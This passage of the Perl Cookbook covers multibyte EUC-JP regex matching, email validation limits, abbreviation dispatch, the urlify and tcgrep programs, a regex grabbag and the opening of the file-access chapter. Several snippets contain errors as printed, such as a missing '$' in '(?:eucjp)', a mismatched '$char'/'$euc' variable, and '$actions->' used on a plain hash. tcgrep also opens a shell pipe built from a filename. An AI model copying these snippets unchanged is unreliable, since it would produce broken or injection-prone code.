A character encoding is a set mapping from characters and symbols to digital representations. ASCII is an encoding where each character is represented as exactly one byte, but complex writing systems, such as those for Chinese, Japanese, and Korean, have so many characters that their encodings need to use multiple bytes to represent characters.

Perl works on the principle that each byte represents a single character, which works well in ASCII but makes regular expression matches on strings containing multiple-byte characters tricky, to say the least. The regular expression engine does not understand the character boundaries in your string of bytes, and so can return "matches" from the middle of one character to the middle of another.

Solution

Exploit the encoding by tailoring the pattern to the sequences of bytes that constitute characters. The basic approach is to build a pattern that matches a single (multiple byte) character in the encoding, and then use that "any character" pattern in larger patterns.

Discussion

As an example, we'll examine one of the encodings for Japanese, called EUC-JP, and then show how we use this in solving a number of multiple-byte encoding issues. EUC-JP can represent thousands of characters, but it's basically a superset of ASCII. Bytes with values ranging from 0 to 127 (0x00 to 0x7F) are almost exactly their ASCII counterparts, so those bytes represent one-byte characters. Some characters are represented by a pair of bytes, the first with value 0x8E and the second with a value in the range 0xA0-0xDF. Some others are represented by three bytes, the first with the value 0x8F and the others in the range 0xA1-0xFE, while others still are represented by two bytes, each in the 0xA1-0xFE range.

We can convey this information - what bytes can make up characters in this encoding - as a regular expression. For ease of use later, here we'll define a string, $eucjp, that holds the regular expression to match a single EUC-JP character:

my $eucjp = q{                 # EUC-JP encoding subcomponents:
    [\x00-\x7F]                # ASCII/JIS-Roman (one-byte/character)
  | \x8E[\xA0-\xDF]            # half-width katakana (two bytes/char)
  | \x8F[\xA1-\xFE][\xA1-\xFE] # JIS X 0212-1990 (three bytes/char)
  | [\xA1-\xFE][\xA1-\xFE]     # JIS X 0208:1997 (two bytes/char)
};

(Because we've inserted comments and whitespace for pretty-printing, we'll have to use the /x modifier when we use this in a match or substitution.)

With this template in hand, the following sections show how to:

  • Perform a normal match without any "false" matches

  • Count, convert (to another encoding), and/or filter characters

  • Verify whether the target text is valid according to an encoding

  • Detect which encoding the target text uses

All the examples are shown using EUC-JP as the encoding of interest, but they will work with any of the many multiple-byte encodings commonly used for text processing, such as Unicode, Big-5, etc.

Avoiding false matches

A false match is where the regular expression engine finds a match that begins in the middle of a multiple-byte character sequence. We can get around the problem by carefully controlling the match, ensuring that the pattern matching engine stays synchronized with the character boundaries at all times.

This can be done by anchoring the match to the start of the string, then manually bypassing characters ourselves when the real match can't happen at the current location. With the EUC-JP example, the "bypassing characters" part is /(?: $eucjp )*?/. $eucjp is our template to match any valid character, and because it is applied via the non-greedy *?, it can match a character only when whatever follows (presumably the desired real match) can't match. Here's a real example:

/^ (?: $eucjp )*?  \xC5\xEC\xB5\xFE/ox # Trying to find Tokyo

In the EUC-JP encoding, the Japanese word for Tokyo is written with two characters, the first encoded by the two bytes \xC5\xEC, the second encoded by the two bytes \xB5\xFE. As far as Perl is concerned, we're looking merely for the four-byte sequence \xC5\xEC\xB5\xFE, but because we use (?: $eucjp )*? to move along the string only by characters of our target encoding, we know we'll stay in synch.

Don't forget to use the /ox modifiers. The /x modifier is especially crucial due to the whitespace used in the encoding template $eucjp. The /o modifier is for efficiency, since we know $eucjp won't change from use to use.

Use in a replacement is similar, but since the text leading to the real match is also part of the overall match, we must capture it with parentheses, being sure to include it in the replacment text. Assuming that $Tokyo and $Osaka have been set to the bytes sequences for their respective words in the EUC-JP encoding, we could use the following to replace Osaka for Tokyo:

/^ (  (?:eucjp)*? ) $Tokyo/$1$Osaka/ox

If used with /g, we want to anchor the match to the end of the previous match, rather than to the start of the string. That's as simple as changing ^ to \G:

/\G (  (?:eucjp)*? ) $Tokyo/$1$Osaka/gox

Splitting multiple-byte strings

Another common task is to split an input string into its individual charcters. With a one-byte-per-character encoding, you can simply split //, but with a multiple-byte encoding, we need something like:

@chars = /$eucjp/gox; # One character per list element

Now, @chars contains one character per element. The following snippet shows how you might use this to write a filter of some sort:

while (<>) {
  my @chars = /$eucjp/gox; # One character per list element
  for my $char (@chars) {
    if (length($char) == 1) {
      # Do something interesting with this one-byte character
    } else {
      # Do something interesting with this multiple-byte character
    }
  }
  my $line = join("",@chars); # Glue list back together
  print $line;
}

In the two "do something interesting" parts, any change to $char will be reflected in the output when @chars is glued back together.

Validating multiple-byte strings

The use of /$eucjp/gox in this kind of technique relies strongly on the input string indeed being properly formatted in our target encoding, EUC-JP. If it's not, the template /$eucjp/ won't be able to match, and bytes will be skipped.

One way to address this is to use /\G$eucjp/gox instead. This prohibits the pattern matching engine from skipping bytes in order to find a match (since the use of \G indicates that any match must immediately follow the previous match). This is still not a perfect approach, since it will simply stop matching on ill-formatted input data.

A better approach to confirm that a string is valid with respect to an encoding is to use something like:

$is_eucjp = m/^(?:$eucjp)*$/xo;

If a string has only valid characters from start to end, you know the string as a whole is valid.

There is one potential for a problem, and that's due to how the end-of-string metacharacter $ works: it can be true at the end of the string (as we want), and also just before a newline at the end of the string. That means you can still match sucessfully even if the newline is not a valid character in the encoding. To get around this problem, you could use the more-complicated (?!\n)$ instead of $.

You can use the basic validation technique to detect which encoding is being used. For example, Japanese is commonly encoded with either EUC-JP, or another encoding called Shift-JIS. If you've set up the templates, as with $eucjp, you can do something like:

$is_eucjp = m/^(?:$eucjp)*$/xo;
$is_sjis  = m/^(?:$sjis)*$/xo;

If both are true, the text is likely ASCII (since, essentially, ASCII is a sub-component of both encodings). (It's not quite fool-proof, though, since some strings with multi-byte characters might appear to be valid in both encodings. In such a case, automatic detection becomes impossible, although one might use character-frequency data to make an educated guess.)

Converting between encodings

Converting from one encoding to another can be as simple as an extension of the process-each-character routine above. Conversions for some closely related encodings can be done by a simple mathematical computation on the bytes, while others might require huge mapping tables. In either case, you insert the code at the "do something interesting" points in the routine.

Here's an example to convert from EUC-JP to Unicode, using a %euc2uni hash as a mapping table:

while (<>) {
  my @chars = /$eucjp/gox; # One character per list element
  for my $euc (@chars) {
    my $uni = $euc2uni{$char};
    if (defined $uni) {
        $euc = $uni;
    } else {
        ## deal with unknown EUC->Unicode mapping here.
    }
  }
  my $line = join("",@chars);
  print $line;
}

The topic of multiple-byte matching and processing is of particular importance when dealing with Unicode, which has a variety of possible representations. UCS-2 and UCS-4 are fixed-length encodings. UTF-8 defines a mixed one- through six-byte encoding. UTF-16, which represents the most common instance of Unicode encoding, is a variable-length 16-bit encoding.

See Also

Jeffrey Friedl's article in Issue 5 of The Perl Journal ; CJKV Information Processing by Ken Lunde; O'Reilly & Associates, (due 1999)

Previous: 6.17. Expressing AND, OR, and NOT in a Single Pattern | Perl Cookbook | Next: 6.19. Matching a Valid Mail Address
6.17. Expressing AND, OR, and NOT in a Single Pattern | Book Index | 6.19. Matching a Valid Mail Address


Recipe 6.19. Matching a Valid Mail Address

Perl CookbookSearch this book

6.19. Matching a Valid Mail Address

Problem

You want to find a pattern that will verify the validity of a supplied mail address.

Solution

There isn't one. You cannot do real-time validation of mail addresses. You must pick from a number of compromises.

Discussion

The common patterns that people try to use for this are all quite incorrect. As an example, the address fred&barney@stonehenge.com is valid and deliverable (as of this writing), but most patterns that allegedly match valid mail addresses fail miserably.

RFC-822 documents have a formal specification for what constitutes a syntactically valid mail address. However, complete processing requires recursive parsing of nested comments, something that one single regular expression cannot do. If you first strip off legal comments:

1 while $addr =~ s/\([^()]*\)//g;

You could then in theory use the 6598-byte pattern given on the last page of Mastering Regular Expressions to test for RFC-conformance, but that's still not good enough, for three reasons.

First, not all RFC-valid address are deliverable. For example, foo@foo.foo.foo.foo is valid in form, but in practice is not deliverable. Some people try to do DNS lookups for MX records, even trying to connect to the host handling that address's mail to check if it's valid at that site. This is a poor approach because most sites can't do a direct connect to any other site, and even if they could, mail receiving sites increasingly either ignore the SMTP VRFY command or fib about its answer.

Second, some RFC-invalid addresses, in practice, are perfectly deliverable. For example, a lone postmaster is almost certainly deliverable but doesn't pass RFC-822 muster. It doesn't have an @ in it.

Thirdly and most important, just because the address happens to be both valid and deliverable doesn't mean that it's the right one. president@whitehouse.gov, for example, is valid by the RFC and deliverable. But it's very unlikely that would really be the mail address of the person submitting information to your CGI script.

The script at http://www.perl.com/CPAN/authors/Tom_Christiansen/scripts/ckaddr.gz makes a valiant (albeit provably imperfect) attempt at doing this incorrectly. It jumps through many hoops, including the RFC-822 regular expression from Mastering Regular Expressions, DNS MX record look-up, and stop lists for naughty words and famous people. But this is still a very weak approach.

Our best advice for verifying a person's mail address is to have them enter their address twice, just as you would when changing a password. This usually weeds out typos. If both versions match, send mail to that address with a personal message such as:

Dear someuser@host.com,

Please confirm the mail address you gave us Wed May  6 09:38:41
MDT 1998 by replying to this message.  Include the string
"Rumpelstiltskin" in that reply, but spelled in reverse; that is,
start with "Nik...".  Once this is done, your confirmed address will
be entered into our records.

If you get the message back and they've followed your directions, you can be reasonably assured that it's real.

A related strategy that's less open to forgery is to give them a PIN (personal identification number). Record the address and PIN (preferably a random one) for later processing. In the mail you send, ask them to include the PIN in their reply. If it bounces, or the message is included via a vacation script, it'll be there anyway. So ask them to mail back the PIN slightly altered, such as with the characters reversed, one added or subtracted to each digit, etc.

See Also

The "Matching an Email Address" section of Chapter 7 of Mastering Regular Expressions; Recipe 18.9

Previous: 6.18. Matching Multiple-Byte Characters | Perl Cookbook | Next: 6.20. Matching Abbreviations
6.18. Matching Multiple-Byte Characters | Book Index | 6.20. Matching Abbreviations


Recipe 6.20. Matching Abbreviations

Perl CookbookSearch this book

6.20. Matching Abbreviations

Problem

Suppose you had a list of commands, such as "send", "abort", "list", and "edit". The user types one in, but you don't want to make them type out the whole thing.

Solution

You can use the following technique if the strings all start with different characters or if you want to arrange the matches so one takes precedence over another, as "SEND" has precedence over "STOP" here:

chomp($answer = <>);
if    ("SEND"  =~ /^\Q$answer/i) { print "Action is send\n"  }
elsif ("STOP"  =~ /^\Q$answer/i) { print "Action is stop\n"  }
elsif ("ABORT" =~ /^\Q$answer/i) { print "Action is abort\n" }
elsif ("LIST"  =~ /^\Q$answer/i) { print "Action is list\n"  }
elsif ("EDIT"  =~ /^\Q$answer/i) { print "Action is edit\n"  }

Or you can use the Text::Abbrev module:

use Text::Abbrev;
$href = abbrev qw(send abort list edit);
for (print "Action: "; <>; print "Action: ") {
    chomp;
    my $action = $href->{ lc($_) };
    print "Action is $action\n";
}

Discussion

The first technique switches the typical order of a match. Normally you have a variable on the left side of the match and a known pattern on the right side. We might try to decide which action the user wanted us to take by saying $answer =~ /^ABORT/i, which is true if $answer begins with the string "ABORT". It matches whether $answer has anything after "ABORT", so "ABORT LATER" would still match. Handling abbreviations generally requires quite a bit of ugliness: $answer =~ /^A(B(O(R(T)?)?)?)?$/i.

Compare the classic "variable =~ pattern" with "ABORT" =~ /^\Q$answer/i. The \Q escapes any characters that would otherwise be treated as regular expression, so your program won't blow up if the user enters an invalid pattern. When the user enters something like "ab", the expanded match becomes "ABORT" =~ /^ab/i after variable substitution and metaquoting. This matches.

The standard Text::Abbrev module takes a different approach. You give it a list of words, and it returns a reference to a hash whose keys are all unambiguous abbreviations and whose values are the fully expanded strings. So if $href were created as in the Solution example, $href->{$var} would return the string "abort".

This technique is commonly used to call a function based on the name of the string the user types in. Do this by using a symbolic reference, like:

$name = 'send';
&$name();

But that's scary, because it allows the user to run any function in our program, assuming they know its name. It also runs afoul of that pesky use strict 'refs' pragma.

Here's a partial program that creates a hash in which the key is the command name and the value is a reference to the function to call for that command:

# assumes that &invoke_editor, &deliver_message,
# $file and $PAGER are defined somewhere else.
use Text::Abbrev;
my($href, %actions, $errors);
%actions = (
    "edit"  => \&invoke_editor,
    "send"  => \&deliver_message,
    "list"  => sub { system($PAGER, $file) },
    "abort" => sub {
                    print "See ya!\n";
                    exit;
               },
    ""      => sub {
                    print "Unknown command: $cmd\n";
                    $errors++;
               },
);

$href = abbrev(keys %actions);

local $_;
for (print "Action: "; <>; print "Action: ") {
    s/^\s+//;       # trim leading  white space
    s/\s+$//;       # trim trailing white space
    next unless $_;
    $actions->{ $href->{ lc($_) } }->();
}

The last statement could have been written like this if you're not into tight expressions or need practice typing:

$abbreviation = lc($_);
$expansion    = $href->{$abbreviation};
$coderef      = $actions->{$expansion};
&$coderef();

See Also

The documentation for the standard Text::Abbrev module (also in Chapter 7 of Programming Perl ); interpolation is explained in the "Scalar Value Constructors" section of perldata (1), and in the "String literals" section of Chapter 2 of Programming Perl

Previous: 6.19. Matching a Valid Mail Address | Perl Cookbook | Next: 6.21. Program: urlify
6.19. Matching a Valid Mail Address | Book Index | 6.21. Program: urlify


Recipe 6.21. Program: urlify

Perl CookbookSearch this book

6.21. Program: urlify

This program puts HTML links around URLs in files. It doesn't work on all possible URLs, but does hit the most common ones. It tries hard to avoid including end-of-sentence punctuation in the marked-up URL.

It is a typical Perl filter, so it can be used by feeding it input:

% gunzip -c ~/mail/archive.gz | urlify > archive.urlified

or by supplying files on the command line:

% urlify ~/mail/*.inbox > ~/allmail.urlified

The program is shown in Example 6.13.

Example 6.13: urlify

#!/usr/bin/perl
# urlify - wrap HTML links around URL-like constructs

$urls = '(http|telnet|gopher|file|wais|ftp)';
$ltrs = '\w';
$gunk = '/#~:.?+=&%@!\-';
$punc = '.:?\-';
$any  = "${ltrs}${gunk}${punc}";

while (<>) {
    s{
      \b                    # start at word boundary
      (                     # begin $1  {
       $urls     :          # need resource and a colon
       [$any] +?            # followed by on or more
                            #  of any valid character, but
                            #  be conservative and take only
                            #  what you need to....
      )                     # end   $1  }
      (?=                   # look-ahead non-consumptive assertion
       [$punc]*             # either 0 or more punctuation
       [^$any]              #   followed by a non-url char
       |                    # or else
       $                    #   then end of the string
      )
     }{<A HREF="$1">$1</A>}igox;
    print;
}

Previous: 6.20. Matching Abbreviations | Perl Cookbook | Next: 6.22. Program: tcgrep
6.20. Matching Abbreviations | Book Index | 6.22. Program: tcgrep


Recipe 6.22. Program: tcgrep

Perl CookbookSearch this book

6.22. Program: tcgrep

This program is a Perl rewrite of the Unix grep program. Although it runs slower than C versions (especially the GNU greps), it offers many more features.

The first, and perhaps most important, feature is that it runs anywhere Perl does. Other enhancements are that it can ignore anything that's not a plain text file, automatically expand compressed or gzip ped files, recurse down directories, search complete paragraphs or user-defined records, look in younger files before older ones, and add underlining or highlighting of matches. It also supports both the -c option to indicate a count of matching records as well as -C for a count of matching patterns when there could be more than one per record.

This program uses gzcat or zcat to decompress compressed files, so this feature is unavailable on systems without these programs and systems without the ability to run external programs (such as the Macintosh).

Run the program with no arguments for a usage message (see the usage subroutine in the following code). This command line recursively and case-insensitively greps every file in ~/mail for mail messages from someone called "kate", reporting the filenames that contained matches.

% tcgrep -ril '^From: .*kate' ~/mail

The program is shown in Example 6.14.

Example 6.14: tcgrep

#!/usr/bin/perl -w
# tcgrep: tom christiansen's rewrite of grep
# v1.0: Thu Sep 30 16:24:43 MDT 1993
# v1.1: Fri Oct  1 08:33:43 MDT 1993
# v1.2: Fri Jul 26 13:37:02 CDT 1996
# v1.3: Sat Aug 30 14:21:47 CDT 1997
# v1.4: Mon May 18 16:17:48 EDT 1998

use strict;
                                  # globals
use vars qw($Me $Errors $Grand_Total $Mult %Compress $Matches);

my ($matcher, $opt);              # matcher - anon. sub to check for matches
                                  # opt - ref to hash w/ command line options

init();                           # initialize globals

($opt, $matcher) = parse_args();  # get command line options and patterns

matchfile($opt, $matcher, @ARGV); # process files

exit(2) if $Errors;
exit(0) if $Grand_Total;
exit(1);

###################################

sub init {
    ($Me = $0) =~ s!.*/!!;        # get basename of program, "tcgrep"
    $Errors = $Grand_Total = 0;   # initialize global counters
    $Mult = "";                   # flag for multiple files in @ARGV
    $| = 1;                       # autoflush output

    %Compress = (                 # file extensions and program names
        z  => 'gzcat',            # for uncompressing
        gz => 'gzcat',
        Z  => 'zcat',
    );
}

###################################

sub usage {
        die <<EOF
usage: $Me [flags] [files]

Standard grep options:
        i   case insensitive
        n   number lines
        c   give count of lines matching
        C   ditto, but >1 match per line possible
        w   word boundaries only
        s   silent mode
        x   exact matches only
        v   invert search sense (lines that DON'T match)
        h   hide filenames
        e   expression (for exprs beginning with -)
        f   file with expressions
        l   list filenames matching

Specials:
        1   1 match per file
        H   highlight matches
        u   underline matches
        r   recursive on directories or dot if none
        t   process directories in 'ls -t' order
        p   paragraph mode (default: line mode)
        P   ditto, but specify separator, e.g. -P '%%\\n'
        a   all files, not just plain text files
        q   quiet about failed file and dir opens
        T   trace files as opened

May use a TCGREP environment variable to set default options.
EOF
}

###################################

sub parse_args {
    use Getopt::Std;

    my ($optstring, $zeros, $nulls, %opt, $pattern, @patterns, $match_code);
    my ($SO, $SE);

    if ($_ = $ENV{TCGREP}) {      # get envariable TCGREP
        s/^([^\-])/-$1/;          # add leading - if missing
        unshift(@ARGV, $_);       # add TCGREP opt string to @ARGV
    }

    $optstring = "incCwsxvhe:f:l1HurtpP:aqT";

    $zeros = 'inCwxvhelut';       # options to init to 0 (prevent warnings)
    $nulls = 'pP';                # options to init to "" (prevent warnings)

    @opt{ split //, $zeros } = ( 0 )  x length($zeros);
    @opt{ split //, $nulls } = ( '' ) x length($nulls);

    getopts($optstring, \%opt)              or usage();

    if ($opt{f}) {                # -f patfile
        open(PATFILE, $opt{f})          or die qq($Me: Can't open '$opt{f}': $!);

                                  # make sure each pattern in file is valid
        while ( defined($pattern = <PATFILE>) ) {
            chomp $pattern;
            eval { 'foo' =~ /$pattern/, 1 } or
                die "$Me: $opt{f}:$.: bad pattern: $@";
            push @patterns, $pattern;
        }
        close PATFILE;
    }
    else {                        # make sure pattern is valid
        $pattern = $opt{e} || shift(@ARGV) || usage();
        eval { 'foo' =~ /$pattern/, 1 } or
            die "$Me: bad pattern: $@";
        @patterns = ($pattern);
    }

    if ($opt{H} || $opt{u}) {     # highlight or underline
        my $term = $ENV{TERM} || 'vt100';
        my $terminal;

        eval {                    # try to look up escapes for stand-out
            require POSIX;        # or underline via Term::Cap
            use Term::Cap;

            my $termios = POSIX::Termios->new();
            $termios->getattr;
            my $ospeed = $termios->getospeed;

            $terminal = Tgetent Term::Cap { TERM=>undef, OSPEED=>$ospeed }
        };

        unless ($@) {             # if successful, get escapes for either
            local $^W = 0;        # stand-out (-H) or underlined (-u)
            ($SO, $SE) = $opt{H}
                ? ($terminal->Tputs('so'), $terminal->Tputs('se'))
                : ($terminal->Tputs('us'), $terminal->Tputs('ue'));
        }
        else {                    # if use of Term::Cap fails,
            ($SO, $SE) = $opt{H}  # use tput command to get escapes
                ? (`tput -T $term smso`, `tput -T $term rmso`)
                : (`tput -T $term smul`, `tput -T $term rmul`)
        }
    }

    if ($opt{i}) {
        @patterns = map {"(?i)$_"} @patterns;
    }

    if ($opt{p} || $opt{P}) {
        @patterns = map {"(?m)$_"} @patterns;
    }

    $opt{p}   && ($/ = '');
    $opt{P}   && ($/ = eval(qq("$opt{P}")));     # for -P '%%\n'
    $opt{w}   && (@patterns = map {'\b' . $_ . '\b'} @patterns);
    $opt{'x'} && (@patterns = map {"^$_\$"} @patterns);
    if (@ARGV) {
        $Mult = 1 if ($opt{r} || (@ARGV > 1) || -d $ARGV[0]) && !$opt{h};
    }
    $opt{1}   += $opt{l};                   # that's a one and an ell
    $opt{H}   += $opt{u};
    $opt{c}   += $opt{C};
    $opt{'s'} += $opt{c};
    $opt{1}   += $opt{'s'} && !$opt{c};     # that's a one

    @ARGV = ($opt{r} ? '.' : '-') unless @ARGV;
    $opt{r} = 1 if !$opt{r} && grep(-d, @ARGV) == @ARGV;

    $match_code  = '';
    $match_code .= 'study;' if @patterns > 5; # might speed things up a bit

    foreach (@patterns) { s(/)(\\/)g }

    if ($opt{H}) {
        foreach $pattern (@patterns) {
            $match_code .= "\$Matches += s/($pattern)/${SO}\$1${SE}/g;";
        }
    }
    elsif ($opt{v}) {
        foreach $pattern (@patterns) {
            $match_code .= "\$Matches += !/$pattern/;";
        }
    }
    elsif ($opt{C}) {
        foreach $pattern (@patterns) {
            $match_code .= "\$Matches++ while /$pattern/g;";
        }
    }
    else {
        foreach $pattern (@patterns) {
            $match_code .= "\$Matches++ if /$pattern/;";
        }
    }

    $matcher = eval "sub { $match_code }";
    die if $@;

    return (\%opt, $matcher);
}

###################################

sub matchfile {
    $opt = shift;                 # reference to option hash
    $matcher = shift;             # reference to matching sub

    my ($file, @list, $total, $name);
    local($_);
    $total = 0;

FILE: while (defined ($file = shift(@_))) {

        if (-d $file) {
            if (-l $file && @ARGV != 1) {
                warn "$Me: \"$file\" is a symlink to a directory\n"
                    if $opt->{T};
                next FILE;

            }
            if (!$opt->{r}) {
                warn "$Me: \"$file\" is a directory, but no -r given\n"
                    if $opt->{T};
                next FILE;
            }
            unless (opendir(DIR, $file)) {
                unless ($opt->{'q'}) {
                    warn "$Me: can't opendir $file: $!\n";
                    $Errors++;
                }
                next FILE;
            }
            @list = ();
            for (readdir(DIR)) {
                push(@list, "$file/$_") unless /^\.{1,2}$/;
            }
            closedir(DIR);
            if ($opt->{t}) {
                my (@dates);
                for (@list) { push(@dates, -M) }
                @list = @list[sort { $dates[$a] <=> $dates[$b] } 0..$#dates];
            }
            else {
                @list = sort @list;
            }
            matchfile($opt, $matcher, @list);    # process files
            next FILE;
        }

        if ($file eq '-') {
            warn "$Me: reading from stdin\n" if -t STDIN && !$opt->{'q'};
            $name = '<STDIN>';
        }
        else {
            $name = $file;
            unless (-e $file) {
                warn qq($Me: file "$file" does not exist\n) unless $opt->{'q'};
                $Errors++;
                next FILE;
            }
            unless (-f $file || $opt->{a}) {
                warn qq($Me: skipping non-plain file "$file"\n) if $opt->{T};
                next FILE;
            }

            my ($ext) = $file =~ /\.([^.]+)$/;
            if (defined $ext && exists $Compress{$ext}) {
                $file = "$Compress{$ext} <$file |";
            }
            elsif (! (-T $file  || $opt->{a})) {
                warn qq($Me: skipping binary file "$file"\n) if $opt->{T};
                next FILE;
            }
        }

        warn "$Me: checking $file\n" if $opt->{T};

        unless (open(FILE, $file)) {
            unless ($opt->{'q'}) {
                warn "$Me: $file: $!\n";
                $Errors++;
            }
            next FILE;
        }

        $total = 0;

        $Matches = 0;

LINE:  while (<FILE>) {
            $Matches = 0;

            ##############
            &{$matcher}();        # do it! (check for matches)
            ##############

            next LINE unless $Matches;

            $total += $Matches;

            if ($opt->{p} || $opt->{P}) {
                s/\n{2,}$/\n/ if $opt->{p};
                chomp         if $opt->{P};
            }

            print("$name\n"), next FILE if $opt->{l};

            $opt->{'s'} || print $Mult && "$name:",
                $opt->{n} ? "$.:" : "",
                $_,
                ($opt->{p} || $opt->{P}) && ('-' x 20) . "\n";

            next FILE if $opt->{1};                 # that's a one
        }
    }
    continue {
        print $Mult && "$name:", $total, "\n" if $opt->{c};
    }
    $Grand_Total += $total;
}

Previous: 6.21. Program: urlify | Perl Cookbook | Next: 6.23. Regular Expression Grabbag
6.21. Program: urlify | Book Index | 6.23. Regular Expression Grabbag


Recipe 6.23. Regular Expression Grabbag

Perl CookbookSearch this book

6.23. Regular Expression Grabbag

We have found these regular expressions useful or interesting.

Roman numbers
m/^m*(d?c{0,3}|c[dm])(l?x{0,3}|x[lc])(v?i{0,3}|i[vx])$/i
Swap first two words
s/(\S+)(\s+)(\S+)/$3$2$1/
Keyword = Value
m/(\w+)\s*=\s*(.*)\s*$/             # keyword is $1, value is $2
Line of at least 80 characters
m/.{80,}/
MM/DD/YY HH:MM:SS
m|(\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+)|
Changing directories
s(/usr/bin)(/usr/local/bin)g
Expanding %7E (hex) escapes
s/%([0-9A-Fa-f][0-9A-Fa-f])/chr hex $1/ge
Deleting C comments (imperfectly)
s{
    /\*                    # Match the opening delimiter
    .*?                    # Match a minimal number of characters
    \*/                    # Match the closing delimiter
} []gsx;
Removing leading and trailing whitespace
s/^\s+//;
s/\s+$//;
Turning \ followed by n into a real newline
s/\\n/\n/g;
Removing package portion of fully qualified symbols
s/^.*:://
IP address
m/^([01]?\d\d|2[0-4]\d|25[0-5])\.([01]?\d\d|2[0-4]\d|25[0-5])\.
   ([01]?\d\d|2[0-4]\d|25[0-5])\.([01]?\d\d|2[0-4]\d|25[0-5])$/;
Removing leading path from filename
s(^.*/)()
Extracting columns setting from TERMCAP
$cols = ( ($ENV{TERMCAP} || " ") =~ m/:co#(\d+):/ ) ? $1 : 80;
Removing directory components from program name and arguments
($name = " $0 @ARGV") =~ s,  /\S+/,  ,g;
Checking your operating system
die "This isn't Linux" unless $^O =~ m/linux/i;
Joining continuation lines in multiline string
s/\n\s+/ /g
Extracting all numbers from a string
@nums = m/(\d+\.?\d*|\.\d+)/g;
Finding all-caps words
@capwords = m/(\b[^\Wa-z0-9_]+\b)/g;
Finding all-lowercase words
@lowords = m/(\b[^\WA-Z0-9_]+\b)/g;
Finding initial-caps word
@icwords = m/(\b[^\Wa-z0-9_][^\WA-Z0-9_]*\b)/;
Finding links in simple HTML
@links = m/<A[^>]+?HREF\s*=\s*["']?([^'" >]+?)[ '"]?>/sig;
Finding middle initial in $_
($initial) = m/^\S+\s+(\S)\S*\s+\S/ ? $1 : "";
Changing inch marks to quotes
s/"([^"]*)"/``$1''/g
Extracting sentences (two spaces required)
{ local $/ = "";
  while (<>) {
    s/\n/ /g;
    s/ {3,}/  /g;
    push @sentences, m/(\S.*?[!?.])(?=  |\Z)/g;
  }
}
YYYY-MM-DD
m/(\d{4})-(\d\d)-(\d\d)/            # YYYY in $1, MM in $2, DD in $3
North American telephone numbers
m/ ^
      (?:
       1 \s (?: \d\d\d \s)?            # 1, or 1 and area code
       |                               # ... or ...
       \(\d\d\d\) \s                   # area code with parens
       |                               # ... or ...
       (?: \+\d\d?\d? \s)?             # optional +country code
       \d\d\d ([\s\-])                 # and area code
      )
      \d\d\d (\s|\1)                   # prefix (and area code separator)
      \d\d\d\d                         # exchange
        $
 /x
Exclamations
m/\boh\s+my\s+gh?o(d(dess(es)?|s?)|odness|sh)\b/i
Extracting lines regardless of line terminator
push(@lines, $1)
    while ($input =~ s/^([^\012\015]*)(\012\015?|\015\012?)//);

Previous: 6.22. Program: tcgrep | Perl Cookbook | Next: 7. File Access
6.22. Program: tcgrep | Book Index | 7. File Access


[Chapter 7] File Access

Perl CookbookSearch this book
Previous: 6.23. Regular Expression Grabbag Chapter 7 Next: 7.1. Opening a File

7. File Access

Contents:
Introduction
Opening a File
Opening Files with Unusual Filenames
Expanding Tildes in Filenames
Making Perl Report Filenames in Errors
Creating Temporary Files
Storing Files Inside Your Program Text
Writing a Filter
Modifying a File in Place with Temporary File
Modifying a File in Place with -i Switch
Modifying a File in Place Without a Temporary File
Locking a File
Flushing Output
Reading from Many Filehandles Without Blocking
Doing Non-Blocking I/O
Determining the Number of Bytes to Read
Storing Filehandles in Variables
Caching Open Output Filehandles
Printing to Many Filehandles Simultaneously
Opening and Closing File Descriptors by Number
Copying Filehandles
Program: netlock
Program: lockarea

I the heir of all the ages, in the foremost files of time.

- Alfred, Lord Tennyson Locksley Hall

7.0. Introduction

Nothing is more central to data processing than the file. As with everything else in Perl, easy things are easy and hard things are possible. Common tasks (opening, reading data, writing data) use simple I/O functions and operators, whereas fancier functions do hard things like non-blocking I/O and file locking.

This chapter deals with the mechanics of file access: opening a file, telling subroutines which files to work with, locking files, and so on. Chapter 8, File Contents, deals with techniques for working with the contents of a file: reading, writing, shuffling lines, and other operations you can do once you have access to the file.

Here's Perl code for printing all lines in the file /usr/local/widgets/data that contain the word "blue":

open(INPUT, "< /usr/local/widgets/data")
    or die "Couldn't open /usr/local/widgets/data for reading: $!\n";

while (<INPUT>) {
    print if /blue/;
}
close(INPUT);

Getting a Handle on the File

Central to Perl's file access is the filehandle, like INPUT in the preceding program. This is a symbol you use to represent the file when you read and write. Because filehandles aren't variables (they don't have a $, @, or % type marker on their names - but they are part of Perl's symbol table just as subroutines and variables are), storing filehandles in variables and passing them to subroutines won't always work. You should use the odd-looking *FH notation, indicating a typeglob, the basic unit of Perl's symbol table:

$var = *STDIN;
mysub($var, *LOGFILE);

When you store filehandles in variables like this, you don't use them directly. They're called indirect filehandles because they indirectly refer to the real filehandle. Two modules, IO::File (standard since 5.004) and FileHandle (standard since 5.000), can create anonymous filehandles.

When we use IO::File or IO::Handle in our examples, you could obtain identical results by using FileHandle instead, since it's now just a wrapper module.

Here's how we'd write the "blue"-finding program with the IO::File module using purely object-oriented notation:

use IO::File;

$input = IO::File->new("< /usr/local/widgets/data")
    or die "Couldn't open /usr/local/widgets/data for reading: $!\n";

while (defined($line = $input->getline())) {
    chomp($line);
    STDOUT->print($line) if $line =~ /blue/;
}
$input->close();

As you see, it's much more readable to use filehandles directly. It's also a lot faster.

But here's a little secret for you: you can skip all that arrow and method-call business altogether. Unlike most objects, you don't actually have to use IO::File objects in an object-oriented way. They're essentially just anonymous filehandles, so you can use them anywhere you'd use a regular indirect filehandle. Recipe 7.16 covers these modules and the *FH notation. We use both IO::File and symbolic filehandles in this chapter.

Standard FileHandles

Every program starts out with three global filehandles already opened: STDIN, STDOUT, and STDERR. STDIN (standard input) is the default source of input, STDOUT (standard output) is the default destination for output, and STDERR (standard error) is the default place to send warnings and errors. For interactive programs, STDIN is the keyboard, STDOUT and STDERR are the screen:

while (<STDIN>) {                   # reads from STDIN
    unless (/\d/) {
        warn "No digit found.\n";   # writes to STDERR
    }
    print "Read: ", $_;             # writes to STDOUT
}
END { close(STDOUT)                 or die "couldn't close STDOUT: $!" }

Filehandles live in packages. That way, two packages can have filehandles with the same name and be separate, just as they can with subroutines and variables. The open function associates a filehandle with a file or program, after which you use that filehandle for I/O. When done, close the filehandle to break the association.

Files are accessed at the operating system through numeric file descriptors. You can learn a filehandle's descriptor number using the fileno function. Perl's filehandles are sufficient for most file operations, but Recipe 7.19 tells you how to deal with the situation where you're given an file descriptor and want to turn it into a filehandle you can use.

I/O Operations

